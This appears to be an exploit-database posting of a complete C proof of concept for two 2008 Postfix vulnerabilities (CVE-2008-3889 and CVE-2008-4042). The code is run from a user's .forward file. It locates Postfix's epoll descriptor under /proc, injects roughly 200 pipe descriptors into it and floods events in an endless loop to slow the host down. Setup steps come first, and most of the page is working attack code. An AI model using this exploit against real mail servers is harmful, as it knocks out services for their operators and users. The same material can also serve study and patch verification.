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Postfix < 2.4.9, 2.5.5, 2.6-20080902 (.forward) Local DoS Exploit
================================================================= Postfix < 2.4.9, 2.5.5, 2.6-20080902 (.forward) Local DoS Exploit ================================================================= /* * http://www.wekk.net/research/CVE-2008-4042/CVE-2008-4042-exploit.c * http://www.wekk.net/research/CVE-2008-3889/CVE-2008-3889-exploit.c * * Exploit for Postfix 2.4 before 2.4.9, 2.5 before 2.5.5, and 2.6 * before 2.6-20080902, when used with the Linux 2.6 kernel. * * CVE-2008-3889 & CVE-2008-4042 * * by Albert Sellares <whats[at]wekk[dot]net> - http://www.wekk.net * and Marc Morata Fite <marc.morata.fite[at]gmail[dot]com> * 2008-09-16 * * This Proof of concept creates a pipe and adds it in the postfix's epoll * file descriptor. * When the pipe is added, an endless loop will launch lots of events to the * local and master postfix processes. * This will slowdown de system a lot. * * An example of use: * 1- Put the content "| ~/CVE-2008-3889-exploit >> /tmp/postfix.log &" (with * the double quotes) * in the file ~/.forward * * 2- Put the CVE-2008-4042-exploit in your home * gcc CVE-2008-3889-exploit.c -o CVE-2008-3889-exploit * * 3- Send and email to the user * * You can see the output at /tmp/postfix.log */ #include <sys/epoll.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <dirent.h> #include <errno.h> #define FDOPEN 200 void add_fd(int fde, int fd) { printf("[*] Adding fd %d to eventpoll %d\n", fd, fde); static struct epoll_event ev; ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP|EPOLLET; errno =0; // If this is a socket fd, the load is high ev.data.u32 = 6; ev.data.u64 = 6; if (epoll_ctl(fde, EPOLL_CTL_ADD, fd, &ev) == 0) { printf(" => Fd %d added!\n", fd); } else { printf(" => Error (%d) adding fd %d\n", errno, fd); } } int main(int argc, char *argv[]) { int fds[2]; char dir[32], c; int i, found = 0; pipe(fds); sprintf(dir, "/proc/%d/fd", getpid()); printf("[*] Opening directory %s\n", dir); DIR *fd_dir = opendir(dir); struct dirent *de = readdir(fd_dir); // We are looking for the eventpoll file descriptor while (de != NULL) { char link_d[256]; char link_f[256]; memset(link_d, 0, 256); sprintf(link_f, "%s/%s", dir, de->d_name); readlink(link_f, link_d, 256); if ( strstr(link_d, "eventpoll") ) { found = 1; printf(" => %s points to %s\n", de->d_name, link_d); add_fd(atoi(de->d_name), fds[0]); // We can test with more than one triggered event at once for (i = 0; i<FDOPEN; i++) add_fd(atoi(de->d_name),dup(fds[0])); } de = readdir(fd_dir); } closedir(fd_dir); if (found == 0) { printf("[!] Are you sure that your postfix is vulnerable?\n"); printf("[!] Are you launching me throw a .forward file?\n"); exit(0); } printf("[*] Starting to flood the system!\n"); fflush(stdout); close(0); close(1); close(2); // This triggers the events while (1) { write(fds[1], "A",1); read(fds[0],&c, 1); } return 0; } # 0day.today [2024-12-23] #